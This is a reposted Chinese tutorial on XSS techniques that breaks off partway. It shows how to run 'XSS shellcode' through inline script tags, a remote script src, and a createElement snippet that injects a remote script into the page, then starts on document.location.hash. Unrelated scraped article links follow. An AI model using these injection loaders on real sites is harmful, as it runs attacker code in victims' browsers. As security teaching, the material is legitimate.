[深入学习Web安全](11)之XSS玩法

本文转自:i春秋社区

前言
这篇paper,我们将学习如何优雅的调戏XSS。我们会教大家一些不常用的,但很实用的XSS姿势。我们在正式进入主题之前,先来说一下,该篇paper将涉及的内容:

正文
如何调用XSS Shellcode?
我们先来学习一下,如何去调用我们的XSS Shellcode,嘿嘿。我们来看这种方式:

[XHTML] 纯文本查看 复制代码
1
<script>[你的Shellcode]</script>

我们是通过script标签来执行JS,也就是我们的Shellcode,我们再来看下一种:

[XHTML] 纯文本查看 复制代码
1
<script src=[你的Shellcode的URL]></script>

这里,我们是使用script标签的src属性从远程调用了我们的JS文件,来实现调用Shellcode。我们除了使用script标签来调用我们的Shellcode,还可以使用JS代码将我们的script标签注入到DOM内实现执行我们的Shellcode:

[XHTML] 纯文本查看 复制代码
1
2
3
var s = document.createElement("script");
s.src = "[你的Shellcode的URL]";
document.body.appendChild(s);

这样就能将远程的js代码注入到我们的DOM,我们来讲一下,这段代码的含义:
1.首先,我们通过var定义了一个变量s,用来接收document.createElement("script")的返回值,这个返回值是一个对象,于是s就变成了一个变量。
2.我们的createElement方法,是用来创建一个元素的,这个方法在XSS的攻击中十分常用,它的参数就是字符型的要创建的元素的标签名。
3.我们接着给s对象的src属性,赋值为我们的Shellcode的URL,使用createElement方法创建的元素对象具有该元素标签的所有属性,直接赋值就可以了。
4.接下来,我们向docuement的body中插入了该对象,使用了appendChild方法。
这就是我们这段代码的作用与原理,十分简单,大家自行体会一下。我们接着看下一种方法,这种方法是记录在《XSS跨站脚本攻击剖析与防御》一书中的。但是,我个人不认为这个方法很好用,但是,我们还是来提一下。
这个方法利用了document.location.hash,我们来看一下,如何去利用的,我们创建如下demo文件:

<ignore_js_op>

我们在浏览器上访问该文件,如下:

<ignore_js_op>

我们可以看到alert的内容是空的,接着,我们在整个URL后面添加"#www.ichunqiu.com",如图:

<ignore_js_op>

我们注意到,document.location.hash取到的就是URL中#号,及#号以后的内容。
接着,我们再来讲一个substr方法,我们创建如下demo文件:

<ignore_js_op> 

....................................................文件较长就分享到这里,想查看全文请点击下面,

 

 

[深入学习Web安全](11)之XSS玩法的更多相关文章

  1. Prometheus学习笔记(7)PromQL玩法入门

    目录 1.什么是PromQL??? 2.如何查询??? 1.什么是PromQL??? PromQL是Prometheus内置的数据查询语言,其提供对时间序列数据丰富的查询,聚合以及逻辑运算能力的支持. ...

  2. SpringBoot学习笔记(11):使用WebSocket构建交互式Web应用程序

    SpringBoot学习笔记(11):使用WebSocket构建交互式Web应用程序 快速开始 本指南将引导您完成创建“hello world”应用程序的过程,该应用程序在浏览器和服务器之间来回发送消 ...

  3. 风炫安全WEB安全学习第二十七节课 XSS的防御措施

    风炫安全WEB安全学习第二十七节课 XSS的防御措施 XSS防御措施 总的原则 控制好输入/输出 过滤:根据业务需求进行过滤,对email,手机号码这样的输入框进行验证. 转义:所有输出到前端的数据都 ...

  4. 新手学习web遇到的一些乱码问题

    在新手学习web网站学习的时候经常会遇到?????这种乱码,对于刚起步的菜鸟来说真的很头痛,很容易打击继续学的信心当然了对于菜鸟的我最近也遇到过乱码问题,沉浸其中不能自拔,爱的深啊!!!!!我所遇到的 ...

  5. HTML5零基础学习Web前端需要知道哪些?

    HTML零基础学习Web前端网页制作,首先是要掌握一些常用标签的使用和他们的各个属性,常用的标签我总结了一下有以下这些: html:页面的根元素. head:页面的头部标签,是所有头部元素的容器. b ...

  6. web攻击之一:XSS跨站脚本

    一.浏览器安全 同源策略 影响源的因素:host,子域名,端口,协议 a.com通过以下代码: <script scr=http://b.com/b.js> 加载了b.com上的b.js, ...

  7. 零基础如何学习 Web 安全?(转)

    在网上看了一篇文章<零基础如何学习 Web 安全?>,虽然很多东西的都不是很懂,感觉挺好的copy过来,慢慢消化: 文章地址:https://www.zhihu.com/question/ ...

  8. Java Web使用过滤器防止Xss攻击,解决Xss漏洞

    转: Java Web使用过滤器防止Xss攻击,解决Xss漏洞 2018年11月11日 10:41:27 我欲乘风,直上九天 阅读数:2687   版权声明:本文为博主原创文章,转载请注明出处!有时候 ...

  9. 微服务架构学习与思考(11):开源 API 网关02-以 Java 为基础的 API 网关详细介绍

    微服务架构学习与思考(11):开源 API 网关02-以 Java 为基础的 API 网关详细介绍 上一篇关于网关的文章: 微服务架构学习与思考(10):微服务网关和开源 API 网关01-以 Ngi ...

随机推荐

  1. java mail 接收邮件

    package com.mw.utils; import com.mw.bean.SmsAlarmLogBean; import javax.mail.*; import javax.mail.int ...

  2. java_28 序列化与反序列化

    1.序列化和反序列化 序列化:把对象转换为字节序列的过程称为对象的序列化.(常见的就是存文件) 反序列化:把字节序列恢复为对象的过程称为对象阿德反序列化. 2.序列化和反序列化的使用: java.io ...

  3. Kubernetes 1.3.1 快速单机部署

    Kubernetes发展到今天, 在官网上已经有非常多的成熟部署方案, 但是由于墙的原因, 最简单的MiniKube都无法进行, 参考了以下两篇文章后, 终于安装成功. k8s-1.13版本测试环境搭 ...

  4. python psycopg2 连接pg 建立连接池

    # -*- coding: utf-8 -*-from psycopg2.pool import ThreadedConnectionPool,SimpleConnectionPool,Persist ...

  5. python基础 (初识函数&函数进阶)

    函数基础部分 .什么是函数? 函数是组织好的,可重复使用的,用来实现单一,或相关联功能的代码段. 函数能提高应用的模块性,和代码的重复利用率. 2.定义函数 定义:def 关键词开头,空格之后接函数名 ...

  6. [模拟][NOIP2015]神奇的幻方

    神奇的幻方 题目描述 幻方是一种很神奇的N∗ N矩阵:它由数字 1,2,3, … … , N ∗ N 构成,且每行.每列及两条对角线上的数字之和都相同. 当 N为奇数时,我们可以通过以下方法构建一个幻 ...

  7. 大白书中无向图的点双联通分量(BCC)模板的分析与理解

    对于一个无向图,如果任意两点至少存在两条点不重复(除起点和终点外无公共点)的路径,则这个图就是点双联通. 这个要求等价于任意两条边都存在于一个简单环(即同一个点不能在圈中出现两次)中,即内部无割点. ...

  8. servlet运行原理

  9. vue 导航守卫,验证是否登录

    路由跳转前,可以用导航守卫判断是否登录,如果登录了就正常跳转,没有登录就把路由指向登录页面. router.beforeEach((to, from, next) => { const next ...

  10. mybatis 中使用oracle merger into

    项目背景:设计到excel导入,数据量也比较大,保证性能的情况下还要考虑到:如果数据中有这条数据的主键,则更新(update),不存在的情况,执行插入(insert). mybatis代码: < ...